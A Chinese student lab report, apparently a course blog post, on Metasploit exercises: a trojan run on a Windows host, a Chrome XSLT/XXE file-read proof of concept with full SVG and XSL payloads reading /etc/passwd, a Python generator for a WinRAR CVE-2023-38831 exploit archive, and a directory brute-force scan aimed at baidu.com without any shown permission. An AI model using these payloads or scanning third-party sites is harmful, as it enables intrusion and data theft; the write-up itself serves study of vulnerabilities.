实践内容

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

一个主动攻击实践,尽量使用最新的类似漏洞; (1分)

首先生成木马文件,通过socat传输到windows主机上:

​ windows主机接收文件到火绒信任区,避免误杀:

​ 之后,在windows中运行该木马程序,返回Ubuntu,通过Ubuntu快速安装MSF - tomyyyyy - 博客园 (cnblogs.com)教程安装msfconsole,并连接木马

一个针对浏览器的攻击,尽量使用最新的类似漏洞;(1分)

最新Chrome文件读取XXE漏洞复现

漏洞CVE-2023-2033,要求Google Chrome < 116.0.5845.96
创建2.svg

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
      <foreignObject id="xxx" width="1000" height="1000">
        <div xmlns="http://www.w3.org/1999/xhtml">
          XSL-Version: <xsl:value-of select="system-property('xsl:version')"/><br/>
          document() <xsl:copy-of  select="document('3.xsl')"/>
        </div>
      </foreignObject>
    </svg>
  </xsl:template>
</xsl:stylesheet>

创建3.xsl

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="?#"?>
<!DOCTYPE p [
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY sysini SYSTEM "file:///c:/windows/system.ini">
]> 

<div>
    <p>host: &hosts;</p>
    <p>passwd: &passwd;</p>
    <p>sysini: &sysini;</p>
</div>

用python开一个服务器python -m http.server 1234
访问http://localhost:1234/2.svg

一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞;(1分)

最新WinRAR漏洞复现

漏洞编号CVE-2023-38831,WinRAR版本小于6.23

  1. 创建1.txt:echo ''> 1.txt
  2. 创建名为1.txt的文件夹,mkdir 1.txt
  3. 进入1.txt文件夹,创建1.txt .bat,写入cmd命令:cd 1.txt && echo 'calc' > 1.txt .bat
  4. 1.txt文件和1.txt文件夹用rar压缩,得到可以命令执行的rar

触发漏洞:
点开rar压缩包,再双击1.txt文件

calc代码执行成功,计算器被打开

可以使用Python脚本来完成,在同级创建1.txt1.bat,在1.bat中写入calc


import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.rar"

BAIT_NAME = "1.txt"
SCRIPT_NAME = "1.bat"

if len(sys.argv) > 3:
    BAIT_NAME = os.path.basename(sys.argv[1])
    SCRIPT_NAME = os.path.basename(sys.argv[2])
    OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
    pass
else:
    print("""Usage:
          python .\cve-2023-38831-exp-gen.py poc
          python .\cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
    sys.exit()

BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")

print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)

if os.path.exists(TEMPLATE_NAME):
    shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
    os.mkdir(d)

shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))

# if os.path.exists(OUTPUT_NAME):
#     print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
#     sys.exit()

shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)

with open(TEMPLATE_NAME + ".zip", "rb") as f:
    content = f.read()
    content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
    content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")

os.remove(TEMPLATE_NAME + ".zip")

with open(OUTPUT_NAME, "wb")  as f:
    f.write(content)

print("ok..")

成功应用任何一个辅助模块。(1分)

指令如下

msfconsole
use auxiliary/scanner/http/brute_dirs
set THREADS 10
set RHOSTS www.baidu.com
exploit

扫描百度网站内容如下:

发现了如下路径

http://www.baidu.com:80/p/
http://www.baidu.com:80/v/
http://www.baidu.com:80/bh/

基础问题回答 (1分)

用自己的话解释什么是exploit,payload,encode.

  1. Exploit (漏洞利用): 这是指利用软件或系统的安全漏洞来执行未授权的操作。想象一下,你有一个保险箱,正常情况下需要正确的密码才能打开。但如果保险箱的设计有一个小缺陷,比如通过某个特殊的动作可以绕过密码锁,那么这个动作就可以被称为一个exploit。

  2. Payload (有效载荷): 这是exploit的一部分,指的是通过exploit执行的代码或命令。继续上面的例子,如果你利用保险箱的缺陷打开了它,那么你可能会放入或取出一些物品,这些物品就是payload。在计算机安全领域,payload通常是恶意代码,比如病毒或木马,它们会在目标系统上执行。

  3. Encode (编码): 编码是将数据转换成另一种格式的过程,通常是为了让数据在传输或存储时更加安全、高效或符合某种标准。在安全领域,编码payload意味着将恶意代码转换成一种格式,使其能够通过安全检测,或者在特定的环境中执行。比如,将文本转换为二进制数据,或者将可执行文件转换成看似无害的数据字符串。

实践总结与体会 (1分)

本次实验是第2次和第5次实验的总结,实验内容有很多相似之处,但是有略有不同。复现最新漏洞这块有一定难度,好在最近Chrome和WinRAR都暴露了漏洞,并且易于复现。

离实战还缺些什么技术或步骤?

还缺少Payload,在之前的学习中,我们已经有了很多漏洞扫描的技术,但是距离真正实战还是有一段距离。这就是设法构造Payload,打进系统内部,扰乱系统正常工作秩序。

posted on 2024-05-09 13:51  亦知亦行  阅读(74)  评论(0编辑  收藏  举报